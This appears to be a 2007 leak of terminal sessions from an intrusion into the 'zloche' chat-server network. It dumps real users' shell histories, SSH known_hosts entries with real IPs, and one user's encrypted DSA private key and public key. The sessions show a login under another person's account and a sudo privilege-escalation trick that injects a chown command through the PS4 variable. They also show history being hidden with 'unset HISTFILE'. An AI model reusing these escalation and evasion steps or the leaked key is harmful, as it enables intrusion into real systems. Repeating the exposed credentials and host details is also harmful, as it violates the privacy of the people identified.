TGTqqKzpobD83VBNAROR7qcrq4EdXTygEGr/FRQ8XyXtT2+EGwWBOez8+lja+wLTlplhG
OEazVa+IrXwVt7eMaSMM/3QKX0ZvZECQRBw2abfTXilT8G2QWLVPpTQ==
server4.zloche.net ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEA1nrkiWUjg+BGB8
3ed97xlvJYWNm8FeE91nhXx05mZ4HVDADi0qGmYnlXbuywe7Kf4R42C5Gw+ZLMKdMYCsD
qa89dqNuSl0Mx7/qHPS3oQW/nPFC8cFo1pI6v/R180uxorB5ggcLV4mgbZZnc4TltUMbr
LRHYfAi3HbwGj6bIiuE=
70.55.196.23 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtWj3vqOrTzvLAHmMtiPC
bMzwa+jYBcJOEVlE/vKiWfqPWs5qSwV2fJxfofw09ZnZn3vujQmfdPB300tEh4rcqt7hC
vqzodn7z9RFzmKBTQcz65EDN86iHI/73gX7PjodHn+xGqx4O3fmJDENJ/7QKV3qCY3N1W
B5HW/aTI+cbDECDrAtScTzC/EuiVLmlAg2uSdCVc/ihOaGM7dEAmNWZnAvsZTGTqqKzpo
bD83VBNAROR7qcrq4EdXTygEGr/FRQ8XyXtT2+EGwWBOez8+lja+wLTlplhGOEazVa+Ir
XwVt7eMaSMM/3QKX0ZvZECQRBw2abfTXilT8G2QWLVPpTQ==
70.53.254.248 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtWj3vqOrTzvLAHmMtiP
CbMzwa+jYBcJOEVlE/vKiWfqPWs5qSwV2fJxfofw09ZnZn3vujQmfdPB300tEh4rcqt7h
Cvqzodn7z9RFzmKBTQcz65EDN86iHI/73gX7PjodHn+xGqx4O3fmJDENJ/7QKV3qCY3N1
WB5HW/aTI+cbDECDrAtScTzC/EuiVLmlAg2uSdCVc/ihOaGM7dEAmNWZnAvsZTGTqqKzp
obD83VBNAROR7qcrq4EdXTygEGr/FRQ8XyXtT2+EGwWBOez8+lja+wLTlplhGOEazVa+I
rXwVt7eMaSMM/3QKX0ZvZECQRBw2abfTXilT8G2QWLVPpTQ==
70.53.253.12 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtWj3vqOrTzvLAHmMtiPC
bMzwa+jYBcJOEVlE/vKiWfqPWs5qSwV2fJxfofw09ZnZn3vujQmfdPB300tEh4rcqt7hC
vqzodn7z9RFzmKBTQcz65EDN86iHI/73gX7PjodHn+xGqx4O3fmJDENJ/7QKV3qCY3N1W
B5HW/aTI+cbDECDrAtScTzC/EuiVLmlAg2uSdCVc/ihOaGM7dEAmNWZnAvsZTGTqqKzpo
bD83VBNAROR7qcrq4EdXTygEGr/FRQ8XyXtT2+EGwWBOez8+lja+wLTlplhGOEazVa+Ir
XwVt7eMaSMM/3QKX0ZvZECQRBw2abfTXilT8G2QWLVPpTQ==
zokio.com,69.70.67.2 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApry7VslTBItK
BaxF942eAL6/mz/P9F7XBNUySJEg2uU6N3GfwH5QBo0s1DDS6YAvGTftSYS+9Ix3mr7wA
l6nMQCwcEwiz4j2I3g38dVynfNosgdIIpTwkmuM7ZHogpSoQBs5eEdDW9tK+oZeDQi5N/
g7QGZvFwCSmoEUq/StvqS0N9Wc1H9SSW8Ppe/CWNuFi/eRiX9SrmMHYpj7Yi6IC+FZOKn
9rCeIAlmC6xkVa/6c3Kg0Mc5CG/2j2IqbtQ1E6Jcnzp/Fp8KbuIoje0HgjxP193K7tLUN
gu7+3o0fuQnjJdXD9iIgwNAfamogurF79fkWAZfBNxDxSW5LD//L8w==
70.53.255.87 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtWj3vqOrTzvLAHmMtiPC
bMzwa+jYBcJOEVlE/vKiWfqPWs5qSwV2fJxfofw09ZnZn3vujQmfdPB300tEh4rcqt7hC
vqzodn7z9RFzmKBTQcz65EDN86iHI/73gX7PjodHn+xGqx4O3fmJDENJ/7QKV3qCY3N1W
B5HW/aTI+cbDECDrAtScTzC/EuiVLmlAg2uSdCVc/ihOaGM7dEAmNWZnAvsZTGTqqKzpo
bD83VBNAROR7qcrq4EdXTygEGr/FRQ8XyXtT2+EGwWBOez8+lja+wLTlplhGOEazVa+Ir
XwVt7eMaSMM/3QKX0ZvZECQRBw2abfTXilT8G2QWLVPpTQ==
zloche@vds349:~$ cat .bash_history
cd ~/zloche.net/var/www/html/chat/users
emacs zlocheadmin.look
emacs zlocheadmin.look
w
write gumbie
ssh stax@server2
w
w
ls
cd zloche.net/var/www/ch
cd zloche.net/var/www/html/chat/
ls
du -csh
df -h
w
ls
mkdir logs
cd logs/
w
ls
cd ..
rm serveur_php4.php
emacs serveur_php4.php
emacs serveur_php4.php
php serveur_php4.php
cd logs/
ls
less 05_06_07.log
cd ..
php serveur_php4.php
rm lol*
less logs/05_06_07.log
rm serveur_php4.php
emacs serveur_php4.php
php serveur_php4.php
rm serveur_php4.php
emacs serveur_php4.php
php serveur_php4.php
emacs serveur_php4.php
php serveur_php4.php
less logs/05_06_07.log
php serveur_php4.php
cd users
rm *.friends
cd ..
php serveur_php4.php
rm serveur_php4.php
emacs serveur_php4.php
emacs serveur_php4.php
php serveur_php4.php
emacs serveur_php4.php
php serveur_php4.php
emacs serveur_php4.php
emacs inc/banip.php
emacs versions/popup.html
top -b |grep php
kill 29927
ls
rm logs/05_06_07.log
nohup php serveur_php4.php &
emacs inc/banip.php
emacs inc/banip.php
cd zloche.net/var/www/html/chat/
less alwaysping.php
cd zloche.net/var/www/html/chat/logs/
ls
less 06_06_07.log
nmap 207.253.115.51
nmap -p0 207.253.115.51
nmap -P0 207.253.115.51
++++++++
ssh alex@www.zloche.com
emacs /vhost/home/zloche/.ssh/known_hosts
ssh alex@www.zloche.com
w
ssh alex@www.liber-mundi.org
cd zloche.net/var/mail/
ls
less stax
less zloche
less catch-all
cd ..
ls
cd www/html/
cd chat/
ls
cd logs/
less 06_06_07.log
ls
cd ..
ls
cd inc/
ls
w
w
w
w
w
w
w
ww
w
w
w
w
w
ww
w
w
ww
ls
less floodcheck.php
less banip.php
less buyitem.php
less filter.php
less pickitem.inc
emacs pickitem.inc
w
w
id
ls -alh
cat .login
cat .bash_history
eho $SHELL
echo $SHELL
ls
w
bash
cd zloche.net/var/www/html/chat/versions/
ls
emacs index.php
w
cd ../logs/
ls
less 06_06_07.log
w
df -h
w
w
emacs ../inc/banip.php
emacs ../inc/banip.php
ls
less 06_06_07.log
w
w
ls
cd ..
cd users
ls *.admin
ls *" "*
ls "* *"
ls *
ls *
rm -*
unlink -_\ juvÃ©nile_-.*
unlink "-_\ juvÃ©nile_-.*"
ls
ls *.usr
rm -_\ juvÃ©nile_-.*
rm -f "-_\ juvÃ©nile_-.*"
unlink -_\ juvÃ©nile_-.*
unlink "-_\ juvÃ©nile_-.*"
unlink "-_ juvÃ©nile_-.usr""
unlink "-_ juvÃ©nile_-.usr"
unlink "-_\ juvÃ©nile_-.usr"
unlink "-_\ juvÃ©nile_-.act"
ls
ls -\ *
unlink "-_ juvÃ©nile_-.mail"
unlink "-_ juvÃ©nile_-.*"
unlink "-_ juvÃ©nile_-.act""
unlink "-_ juvÃ©nile_-.act"
unlink "-_ juvÃ©nile_-.usr"
unlink "- juvenile -."*
unlink "- juvenile -.usr""
unlink "- juvenile -.usr"
unlink "- juvenile -.act"
unlink "- juvenile -.mail"
du -csh
ls *.usr |grep -n ".usr"
cd ver
unlink "..::rewind::…usr"
cd ../versions/
ks
ls
emacs infos.txt
emacs infos.txt
cd decor/
ls
ls
cd ..
emacs reggggg.php
rm reggggg.php
emacs reggggg.php
rm reggggg.php
emacs reggggg.php
rm reggggg.php
emacs reggggg.php
rm reggggg.php
emacs reggggg.php
rm reggggg.php
emacs reggggg.php
emacs testtt.php
emacs reggggg.php
rm register.php
mv reggggg.php register.php
ls
cd ..
ls
rm serveur_php4.php
emacs serveur_php4.php
php serveur_php4.php
emacs inc/banip.php
emacs inc/banip.php
php serveur_php4.php
emacs inc/banip.php
php serveur_php4.php
emacs users/blackxthink
emacs users/blackxthink.look
php serveur_php4.php
emacs serveur_php4.php
cd versions/
emacs popup.html
top -b |grep php
kill 9662
cd ..
ls
nohup php serveur_php4.php &
emacs inc/banip.php
emacs inc/filter.php
emacs inc/floodcheck.php
emacs versions/setdescription.php
chmod 777 users/whynot.desc
ssh root@localhost
w
w
w
ls
cd zlo*/var/www/html/chat
cd users
emacs zokio.look
emacs zokio.look
clear
emacs whynot5.usr
emacs whynot5.usr
unlink whynot5.usr
emacs whynot5.usr
emacs whynot5.usr
emacs whynot.usr
mv whynot5.admin whynot.admin
find *.admin
emacs blackxthink.look
emacs blackxthink.look
emacs blackxthink.look
emacs zloche.look
clear
w
write zloche
write zloche pts/9
write zloche 19
write pts/19
write zloche pts/9
cd ..
ls
cd users
ls
find *.admin
emacs whynot.desc
emacs whynot.desc
emacs whynot.desc
find *.admin
emacs zokio.look
emacs zokio.look
emacs zokio.look
emacs aquafine.look
emacs aquafine.look
clear
cd zlo*
cd var
cd ww
cd www
cd html
cd chat
clear
ls
clear
cd users
find *.admin
unlink whitehack.admin
find *.admin
cd ..
ls
cd logs
ls
less 06_06_07.out | grep "Kicked"
less 06_06_07.log | grep "Kicked"
less 06_06_07.log | grep "Kicked"
less 06_06_07.log | grep "Kicked"
less 06_06_07.log | grep "Kick"
less 06_06_07.log | grep "kick"
less 06_06_07.log | grep "ked"
less 06_06_07.log | grep "Kicked"
clear
less 06_06_07.log | grep "Kicked"
clear
less 06_06_07.log | grep "Kicked"
cd ..
cd users
cat j0k3rs.look
cat j0k3r.look
cd ..
cd logs
clear
less 06_06_07.log | grep "Kicked"
clear
cd ..
cd users
emacs Zokio.look
emacs zokio.look
emacs dezimtox.look
emacs dezimtox.admin
find *.admin
unlink fireflame.admin
clear
cd ..
cdlogs
cd logs
less 06_06_07.log | grep "Kicked"
less 06_06_07.log | grep "Kicked"
cd ..
cd users
emacs xsggx.look
emacs xsggx.look
cat misschixxa140.look
emacs xsggx.look
cd ..
cd logs
clear
less 06_06_07.log | grep "Kicked"
cd ..
cd users
find *.admin
w
write zloche
find *.admin
cat dezimtox.look
find *.admin
find *.admin
cd ..
cd logs
less 06_06_07.log | grep "Kicked"
ls
cd ..
cd users
find *.admin
lear
clear
cd ..
cd logs
less 06_06_07.log | grep "Kicked"
clear
less 06_06_07.log | grep "Kicked"
clear

clear
less 06_06_07.log | grep "Kicked"
clear
less 06_06_07.log | grep "Kicked"
less 06_06_07.log | grep "Kicked"
clear
less 06_06_07.log | grep "Kicked"
less 06_06_07.log | grep "Kicked"
clear
less 06_06_07.log | grep "Kicked"
less 06_06_07.log | grep "Kicked"
cat mlleboulanger.look
cd ..
cd users
cat mlleboulanger.look
clear
cd ..
cd logs
less 06_06_07.log | grep "Kicked"
clear
less 06_06_07.log | grep "Kicked"
clear
less 06_06_07.log | grep "Kicked"
cd zlo*/var/www/html/chat/users
emacs zlocheadmin.look
exit
cd zloche.net/var/www/html/chat/
ls
cd logs/
ls
less 07_06_07.log 0
ls
cd ../users
du -csh
ls *.pos
ls *.act
ls *.usr |grep -n ".usr"
w
w
w
w
write djdd
cd ~
cd zloche.net/var/www/html/chat/
rm serveur_php4.php
emacs serveur_php4.php
top -b |grep php
kill 20431
nohup php serveur_php4.php
nohup php serveur_php4.php &
rm serveur_php4.php
emacs serveur_php4.php
top -b |grep php
kill 7801
nohup php serveur_php4.php &
rm serveur_php4.php
emacs serveur_php4.php
top -b |grep php
kill 7844
nohup php serveur_php4.php &
cd users
ls
du -csh
rm \[server\].usr | cp stax.usr \[server\].usr
cat stax.look
emacs \[server\].look
netstat
netstat -n
nmap -p0-65536 localhost
nmap -p0-65535 localhost
emacs ../inc/filter.php
emacs rael.look
emacs ../teleports/lipo.tele
emacs ../teleports/lipo.tele
cd ..
emacs room15.objects
emacs room62.objects
emacs room62.objects
emacs room71.objects
ping server3
ping http://www.zloche.net
emacs room71.objects
cd bans/
ls
cd ..
cd logs/
du -csh
cd ../
ls bans/
du -csh
less fin
less find
ls
cd bans/
du -csh
less find
cd ..
cd users
ls *.ip
ls *.mail
ls *.usr
ls *.usr |grep -n ".usr"
ls *é*
ls *Ã©*
cd ..
cd versions/
ls
less crossdomain.xml
emacs index.php
rm ../users/xwhynotxbotx.*
rm ../users/xwhynotxbotx.act
emacs index.php
cd zloche.net/var/www/html/chat/
ls
ls
cd versions/
rm infos.txt~
mv infos_.txt infox_.php
emacs popup.html
mv infox_.php infos_.php
emacs popup.html
w
cd zloche.net/var/www/html/chat/
top -b |grep php
kill 7899
nohup php serveur_php4.php &
less nohup.out
top -b |grep php
kill 10771
rm nohup.out
nohup php serveur_php4.php &
less nohup.out
nmap -p0-65535 localhost
w
cd zloche.net/var/www/html/chat/users
emacs xposed.inv
zloche@vds349:~$ cd mail
zloche@vds349:~/mail$ ls -alh
total 16K
drwx—— 3 zloche vuser 4.0K Mar 8 03:20 .
drwxr-x— 8 zloche vhost 4.0K May 6 13:00 ..
drwx—— 6 zloche vuser 4.0K Mar 8 03:05 .imap
-rw——- 1 zloche vuser 36 Mar 8 03:04 .subscriptions
-rw——- 1 zloche vuser 0 Mar 8 03:04 INBOX.Drafts
-rw——- 1 zloche vuser 0 Mar 8 03:04 INBOX.Sent
-rw——- 1 zloche vuser 0 Mar 8 03:04 INBOX.Trash
zloche@vds349:~/mail$ cd ..
zloche@vds349:~$ cd public_html/
zloche@vds349:~/public_html$ ls -alh
total 12K
drwxr-xr-x 2 zloche vuser 4.0K Mar 8 00:57 .
drwxr-x— 8 zloche vhost 4.0K May 6 13:00 ..
-rw-r–r– 1 root vhost 80 Mar 8 00:57 index.html
zloche@vds349:~/public_html$ cat index.html
Home of zloche@zloche.net
zloche@vds349:~/public_html$ su -l djdd
bash: /bin/su: Permission denied
zloche@vds349:~/public_html$ su -l djdd
bash: /bin/su: Permission denied
zloche@vds349:~/public_html$ man login
Reformatting login(1), please wait…
zloche@vds349:~/public_html$ login djdd
No utmp entry. You must exec “login” from the lowest level “sh”
zloche@vds349:~/public_html$ exit
vds349.sivit.org> login djdd
No utmp entry. You must exec “login” from the lowest level “sh”
vds349.sivit.org>
vds349.sivit.org> logout
Connection to 80.248.208.223 closed.
[deadlyacid@localhost ~]$ ssh djdd@80.248.208.223
Password:
Linux vds349.sivit.org 2.6.12.6-xenU #1 SMP Fri Feb 24 01:08:35 CET 2006 i686
GNU/Linux

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

Last login: Thu Jun 7 10:19:12 2007 from server4.zloche.net
djdd@vds349:~$ ls -alh
total 52K
drwxrwxrwx 6 djdd vhost 4.0K Jun 6 17:04 .
drwx–x–x 22 root staff 4.0K Jun 3 16:33 ..
-rw——- 1 djdd djdd 3.5K Jun 7 15:07 .bash_history
-rw-r–r– 1 djdd djdd 567 Oct 27 2006 .bash_profile
-rw-r–r– 1 djdd djdd 1.8K Oct 27 2006 .bashrc
-rwxr-xr-x 1 djdd djdd 12K Jun 6 16:55 .cshrc
drwx—— 2 djdd djdd 4.0K Mar 28 14:19 .irssi
drwx—— 2 djdd djdd 4.0K Nov 9 2006 .ssh
drwxr-xr-x 5 djdd djdd 4.0K Oct 27 2006 .usermin
-rwxr-xr-x 1 djdd djdd 40 Jun 6 17:04 .x.sh
drwxrwxrwx 3 djdd djdd 4.0K Nov 4 2006 public_html
djdd@vds349:~$ cat .bash_history
ls
mkdir public_html
mv * public_html/
ls -l
ls -la
chmod og-w .
mkdir public_html
fg
exit
lynx http://www.gmail.com
hmmmm
http://www.liveitsolution.com
whois liveitsolution.com |less
dig liveitsolution.com soa
no soa
dig liveitsolution.com NS
dig liveitsolution.com
dig liveitsolutions.com NS
dig http://www.liveitsolution.com
whois liveitsolution.com |less
dig @216.40.47.15 liveitsolutions.com NS
dig @216.40.47.16 liveitsolutions.com NS
dig @216.40.47.16 liveitsolutions.com soa
dig @216.40.47.15 liveitsolutions.com soa
dns1.registerfly.com
dig @216.40.47.15 liveits.com soa
whois liveits.com |less
dig @216.40.47.15 liveits.com soa
dig @216.40.47.15 liveits.com
dig @216.40.47.15 liveits.com ns
dig liveits.com
whois liveits.com |less
whois liveits.com | grep “Name Server”
whois liveits.com |less
whois liveits.com | grep “Name Server”
well, we have plenty of time to set this up….im in no hurry
passwd
kibitz -tty pts/5 gumbie
kibitz -tty pts/5 gumbie
mesg y
kibitz -tty pts/5 gumbie
‘mesg y’
kibitz -tty pts/5 gumbie
kibitz -24213
exit
id
ssh-add
ssh-add
ssh-add
scp -P 443 .ssh/id_dsa DJDD@rasterized.net./.ssh/id_dsa
scp -P 443 .ssh/id_dsa DJDD@rasterized.net:/.ssh/id_dsa
scp -P 443 .ssh/id_dsa DJDD@rasterized.net:.ssh/id_dsa
ssh DJDD@rasterized.net -p 443 -v
ssh-keygen
ssh-keygen -t dsa
ssh-keygen -t dsa
ls .ssh
cat .ssh/id_dsa.pub
ssh djdd@rasterized.net -P443 -v
ssh djdd@rasterized.net -P 443 -v
ssh djdd@rasterized.net -p 443 -v
ssh DJDD@rasterized.net -p 443 -v
ssh DJDD@rasterized.net -p 443 -v
ssh DJDD@rasterized.net -p 443 -v
ssh-agent bash
passwd
kibitz -tty pts/5 gumbie
kibitz pts/5 gumbie
kibitz -tty gumbie
ls -l `which kibitz`
kibitz -tty pts/5 gumbie
mesg
mesg y
kibitz -tty pts/5 gumbie
kibitz -29378
hmm
kibitz -39398
kibitz -tty pts/5 gumbie
i did
kibitz-29459
kibitz -29459
exit
cd ~
ls
cd public_html
ls
cd ..
ls -al
cd ..
ls -al
ls djdd -al
ls -al
ls
passwd
ssh craplandia.org
screen irssi
screen -raAd
screen -raAd
exit
exit
w
uname -a
find ../
ls -alR ../
cat /etc/passwd
cat /etc/passwd | grep “bash”
cd /home/cyrus
ls -alh
cd /home/raster
ls -alh
cd /home/stax
ls -alh
cd “%backup%~”
file \%backup\%\~
less \%backup\%\~
clear
ls -alh
screen -raAd
screen irssi
top
exit
screen -raAd
exit
w
ls -alh
id
ls
ls -l ../
cd ~irc
cd ~ircd
uname -a
screen -raAd
screen irssi
ls
screen -RR
screen -raAd
w
write stax 7 was that you?
write stax pts/7 was that you?
write stax was that you?
who
write stax tty7 was that you?
mesg y
write user stax was that you?
w’ddddddgklasdfjakfgkl’jakldf
wall
man write
screen -raAd
screen irssi
exit
screen -raAd
screen irssi
screen -raAd
exit
w
uname -a
w
sudo –version
man sudo
q
sudo -V
ls -alh
cat .bash_history
unenv | grep -i “hist”
env | grep -i “hist”
env | grep -i “user”
cat > .cshrc
cd ~
pwd
setenv SHELLOPTS xtrace
SHELLOPTS=xtrace
export SHELLOPTS=xtrace
exit
ls
csh
chsh
tcsh
tgcsh
ls -l /bin | grep “sh”
w
cat /etc/shells
/bin/csh
sh
vim .bashrc
vi .bashrc
vi .bash_profile
grep “SHELLOPTS” .bashrc
vi .bahrc
vi .bashrc
ls -alh .bashrc
vi .bashrc
touch -t 200610271634 .bashrc
ls -alh .bashrc
w
man xtrace
xtrace
vi .x.sh
env | grep “PS4″
echo $PS4
export PS4=`$(chown root.root .cshrc)`
export PS4=’$(chown root.root .cshrc)’
echo $PS4
chmo +x .x.sh
chmod +x .x.sh
sudo ./.x.sh
ls -alh
ls -lisa .cshrc
sudo id
ls
w
su -l stax
ls -alh su
ls -alh /bin/susu
ls -alh /bin/su
sudo sustax -l
screen -raAd
exit
host server4
host server3
host server2
host server1
host server6
host server7
host server8
screen -raAd
djdd@vds349:~$ cd .ssh
djdd@vds349:~/.ssh$ ls -alh
total 20K
drwx—— 2 djdd djdd 4.0K Nov 9 2006 .
drwxrwxrwx 6 djdd vhost 4.0K Jun 6 17:04 ..
-rw——- 1 djdd djdd 736 Nov 9 2006 id_dsa
-rw-r–r– 1 djdd djdd 611 Nov 9 2006 id_dsa.pub
-rw-r–r– 1 djdd djdd 680 Apr 18 15:30 known_hosts
djdd@vds349:~/.ssh$ cat id_dsa
—–BEGIN DSA PRIVATE KEY—–
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,5A84045F7AE97BF5

OLpiQ4jAqNOvsx5EVaY5NtqAXYEhvy3z6AuL3dskW6WlgP4jCTykd2dTfcuY+7YV
HqhVI/izngdTgBVoz5xdsLwxPmXKYv7H6GBISHRzpAyq04XtI63a3lA2CIf+PKBV
m09LxyFAJ88t5j3X1V9E99pFCmVBkfjRDvIaKUbRhjWsATKh3Imm71OPqdZumA0q
3CGh0qEZW72I0l0xzBIUeEajfS3CSfxs2XOBeXLlG+eh1SmMdaS96R00pWiy4VCy
p/WBpQ9kDexlEfKPGNPpd4Stc9cZVNWb+2HXMXj6xriekcvSb30i/UrtJgVb9S+R
Xrhx4AC2XjCmw82KHvCqgrWN746deHdC22huP2n1Ig4mldhMrK6UqWNzavwJ/btv
nEMNn3r1hoQ8rhHn9PePeXOOxvc6D99vKhkI16RH0Ol+IXvyKPoqPJgaz8WGbvmC
rq3Brdt6iIa9/wPXLwB6bo7zPQ/uB3akg+s+e2laqWGuItvgcfurfJp9108WoFM0
y600xzfQxpOPqGzIjWa359O/v1opX1zviHjuI5NHUDOkKBoIXT8VZdAZr3SbGAMh
6td52Ps+2x3pdyYEiQx8NA==
—–END DSA PRIVATE KEY—–
djdd@vds349:~/.ssh$ cat id_dsa.pub
ssh-dss
AAAAB3NzaC1kc3MAAACBAI6Lc8yLa2rY9x0usKkIuF+KOrnNY9rXPb4QepTiCnT0
XeeO3xvp/U2UGKFNRwvVIVRvBnlQYxLjNyPLq5b7GyOWF1wheREiyDwwPn/Ei67i
3flFSEEigwStaYZyqUblyhGb8V+/zuM6IU0+fUyJ3njg2dYCzuS6EmxG6CEXwYmJ
AAAAFQCuVVp4oCYDMEhVcrba8Rp8MlDE8QAAAIA+pKsVtYmlcxOUhuMLGgiLyM2e
/eV7xaeLqFD3fxSog7XjtuTxJlb7TzJ8X0/q0mLtfk4n/+kRX7UJCfLmzOgcR9vu
ROUWwt4VU5Aw4iFf8OuPgT2y5SlnGKlSNupStubGNIVO+PNKR6aW82KzpRQXEkCY
DfFBJGlG5JQr2KLpKgAAAIBk3u6xP29pU92Qwg+5DJuE6L4kHHW2f1NPjoCFb1wO
cf2yi2V4eT8prKP+IFjqOfuCaTB+0fK/kWtX/vTA/lei3x19JKLHwY0+nMmnvvep
VBch5IrPyZQs4zyPFRxc7cWAgXdPETdrCZ/q5h4CI2qBvXQ2gfckFcaOZWwET13l
Nw==
djdd@vds349.sivit.org
djdd@vds349:~/.ssh$ cat known_hosts
rasterized.net,69.163.232.231 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAyaQ6kpWI3wBfCGF+/EGC8JLuPI4ahiREMNe0
e/vUAfFjT044zOVoowDC0Ek1wgh0TAuv3Dzjz6XxknwMkaYo/KCM+CmTAQqYGj4A
wxUrzy4ImUJNxvQVJxrHRL40B61lT+lSXpgsjBTaV4qWE5vTIMoa9uz1159D5CpH
MuAKU70=
76.108.85.21 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAyaQ6kpWI3wBfCGF+/EGC8JLuPI4ahiREMNe0
e/vUAfFjT044zOVoowDC0Ek1wgh0TAuv3Dzjz6XxknwMkaYo/KCM+CmTAQqYGj4A
wxUrzy4ImUJNxvQVJxrHRL40B61lT+lSXpgsjBTaV4qWE5vTIMoa9uz1159D5CpH
MuAKU70=
127.0.0.1 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAzYgpHj6TWctv9JPyCM/uWdHMWWgnMmR9KkDX
ZuiGVSNc/FyxIq6soDPhQ6nsYw3NoKEczB1aC6u1RMqueWyd0LLZD2QIVmJ1ijRt
QDibKXEmlquOTUNZzB0RQIKgI4FOlpojpqTMziRUom2qChYoVBFLimYvH+b3fcla
QaSichE=

djdd@vds349:~/.ssh$ logout
Connection to 80.248.208.223 closed.
[deadlyacid@localhost ~]$ ssh djdd@213.251.160.26
The authenticity of host ‘213.251.160.26 (213.251.160.26)’ can’t be established.
RSA key fingerprint is fe:ea:94:0b:a9:04:aa:e4:d3:d6:dd:f8:cd:a9:8c:f3.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added ‘213.251.160.26’ (RSA) to the list of known hosts.
Password:
Linux ks32211.kimsufi.com 2.4.33grs-bipiv-ipv4-32 #1 SMP lun oct 23 19:00:07 CEST 2006 i686 GNU/Linux

machine : 8410
ip : 213.251.160.26
hostname : ks32211.kimsufi.com

Welcome on Server4, the 4th server of the zloche network =]

Last login: Fri Jun 8 17:50:48 2007 from 216.186.154.117
djdd@server4:~$ unset HISTFILE ; unset SAVEHIST
djdd@server4:~$ uname -a
Linux server4.zloche.net 2.4.33grs-bipiv-ipv4-32 #1 SMP lun oct 23 19:00:07 CEST 2006 i686 GNU/Linux
djdd@server4:~$ cat /etc/issue
Debian GNU/Linux 3.1 \n \l

djdd@server4:~$ ls -alh
total 32K
drwxr-xr-x 3 djdd djdd 4.0K 2007-02-01 04:28 .
d-wx–s–x 17 root root 4.0K 2007-05-06 03:51 ..
-rw-r–r– 1 djdd djdd 266 2007-02-01 04:24 .alias
-rw——- 1 djdd djdd 819 2007-06-08 17:55 .bash_history
-rw-r–r– 1 djdd djdd 567 2007-02-01 04:24 .bash_profile
-rw-r–r– 1 djdd djdd 1.8K 2007-02-01 04:24 .bashrc
-rw-r–r– 1 djdd djdd 375 2007-02-01 04:24 .cshrc
drwx—— 2 djdd djdd 4.0K 2007-02-01 04:28 .ssh
djdd@server4:~$ cat .bash_history
w
who
ssh 66.168.220.yes
ssh 66.168.220.212:443
ssh 66.168.220.212 443
ssh 443 66.168.220.212
man ssh
ssh -D 443 66.168.220.212
sudo ssh -D 443 66.168.220.212
sudo ssh -D 443 66.168.220.212
ssh 66.168.220.212
w
exit
ping http://www.thednscentre.com
exit
exit
irssi
ssh craplandia.org
ssh craplandia.org
ssh craplandia.org
ssh craplandia.org
screen -raAd
exit
passwd
screen irssi
ssh zloche.net
ssh zloche.net
exit
ssh zloche.net
exit
ssh zloche.net
ssh zloche.net
w
who
ssh zloche.net
exit
cat /etc/motd
uname -a
sudo id
w
who
w
who
users
ls -alh
cd .ssh
ls
cat known_hosts
ssh djdd@66.168.220.212
who
who
w
users
ps aux
kill -9 7018
ps -aux
ps aux
last -n 10
ls
ls -alh
cat .bash_history
ssh zloche.net
ssh zloche.net
ssh zloche.net
ssh zloche.net
ssh zloche.net
ssh zloche.net
ssh craplandia.org
ssh craplandia.org
exit
djdd@server4:~$ cd .ssh
djdd@server4:~/.ssh$ ls -alh
total 12K
drwx—— 2 djdd djdd 4.0K 2007-02-01 04:28 .
drwxr-xr-x 3 djdd djdd 4.0K 2007-02-01 04:28 ..
-rw-r–r– 1 djdd djdd 1.1K 2007-05-10 22:52 known_hosts
djdd@server4:~/.ssh$ cat known_hosts
66.168.220.212 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtmDaXUYBfpbI9nF
khEnqjRxLMWLxfkDdxeKDMs5orhRjRa8GQ1AC3KpC7y+TaonfUM/dSXR0+1K1BJUtT
AWxe5ZeCDKL4phDbubxDIJvFKcTfNi+bjiwkHlz1OKDThvqtRt781wcJRnSbnXinhZ
k8Ia3v6AIHsoB5x/yljSwznrSDWuVwn5LSkNtISOiOX91ItfxwKi8B0ZgSBdUkmAHq
Myej98cRVvY/iATI5SrFRCfWNkC7gH/oFxXM/bKB94H7TZ4W6wtfdjmkBrYxojDbUK
KEfd1LywcJCTYxab8usl+Q39uYvqTfXwJDIYX+BE810BNmXi0QA6WlYUOpMJj9Q==
craplandia.org,74.69.17.126 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA5v
HP/DNtJSXwf+2YNhLD9MX2HkcuNqhGNtmJ6/sis9MTAQTEqnTi0Nw4yaoQL0qFM7nZ
kS8OGQI0X55c0Ud0JEXjbXuikZEFUtzr2A+up19wewbpMsMRac87r+vtU218ozOUjY
uurhJwF58DhrUKLrTwa5hl8pRFTifSqhrhKCMBdQreHkmR8GoHIohMdkaPyIACKBgA
aUDFX4VHoYW7AbJlO/3cJLxWEHoUkRM9aHi6tfqXt69e8W1LGXCEI83xUyjOT+ndCm
3x+w/Scuw7kBrjSYg0CXaxDTR5l8lBMJAdenr9CFWPMKbeOLrvdAlpPewJ5EKRSxY4
sWZqZwaqWQ==
zloche.net,80.248.208.223 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAzYgp
Hj6TWctv9JPyCM/uWdHMWWgnMmR9KkDXZuiGVSNc/FyxIq6soDPhQ6nsYw3NoKEczB
1aC6u1RMqueWyd0LLZD2QIVmJ1ijRtQDibKXEmlquOTUNZzB0RQIKgI4FOlpojpqTM
ziRUom2qChYoVBFLimYvH+b3fclaQaSichE=
djdd@server4:~$ w
00:52:32 up 35 days, 22:54, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
djdd@server4:~$ who
djdd pts/0 Jun 10 00:50 (c-76-108-85-21.hsd1.fl.comcast.net)
djdd@server4:~$ who -a
May 5 01:58 2198 id=si term=0 exit=0
system boot May 5 01:58
run-level 2 May 5 01:58 last=S
May 5 01:59 8763 id=l2 term=0 exit=0
LOGIN tty1 May 5 01:59 14410 id=1
LOGIN tty2 May 5 01:59 22055 id=2
LOGIN tty3 May 5 01:59 15373 id=3
LOGIN tty4 May 5 01:59 13138 id=4
LOGIN tty5 May 5 01:59 28322 id=5
